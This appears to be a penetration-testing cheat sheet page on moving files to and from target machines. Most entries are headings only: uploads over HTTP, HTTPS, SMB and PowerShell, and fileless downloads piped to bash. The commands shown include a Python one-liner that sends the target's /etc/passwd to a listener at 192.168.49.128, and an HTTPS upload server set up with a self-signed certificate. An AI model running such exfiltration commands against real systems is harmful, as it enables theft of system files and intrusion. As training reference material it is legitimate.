File Transfers
Uploading
Python3
Starting the Python uploadserver Module
python3 -m uploadserverUploading a File Using a Python One-liner
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
HTTPS
sudo python3 -m pip install --user uploadserverPwnbox - Create a Self-Signed Certificate
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'Pwnbox - Start Web Server
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ./server.pemLinux - Upload Multiple Files
Alternative Web File Transfer Method
Linux - Creating a Web Server with Python3
Linux - Creating a Web Server with Python2.7
Linux - Creating a Web Server with PHP
Linux - Creating a Web Server with Ruby
Download the File from the Target Machine
SMB
SMBConfiguring WebDav Server
Connect from Windows
Uploading Files using SMB
Impacket Server
Powershell
PowershellInstalling a Configured WebServer with Upload
PowerShell Script to Upload a File to Python Upload Server
PowerShell Base64 Web Upload
Downloading
Python
FTP
Python 2 - Download
Python 3 - Download
PHP
PHP Download with File_get_contents()
PHP Download with Fopen()
PHP Download a File and Pipe it to Bash
Ruby
Ruby - Download a File
Perl
Perl - Download a File
JavaScript
Download a File Using JavaScript and cscript.exe
VBScript
Download a File Using VBScript and cscript.exe
Download a File Using wget
Download a File Using cURL
Fileless Attacks Using Linux
Fileless Download with cURL
Fileless Download with wget
SMB
Create SMB Server
Copy file from server (cmd)
Mount SMB share with u/p
Powershell
PowerShell DownloadFile Method
PowerShell DownloadString - Fileless Method
PowerShell Invoke-WebRequest
Last updated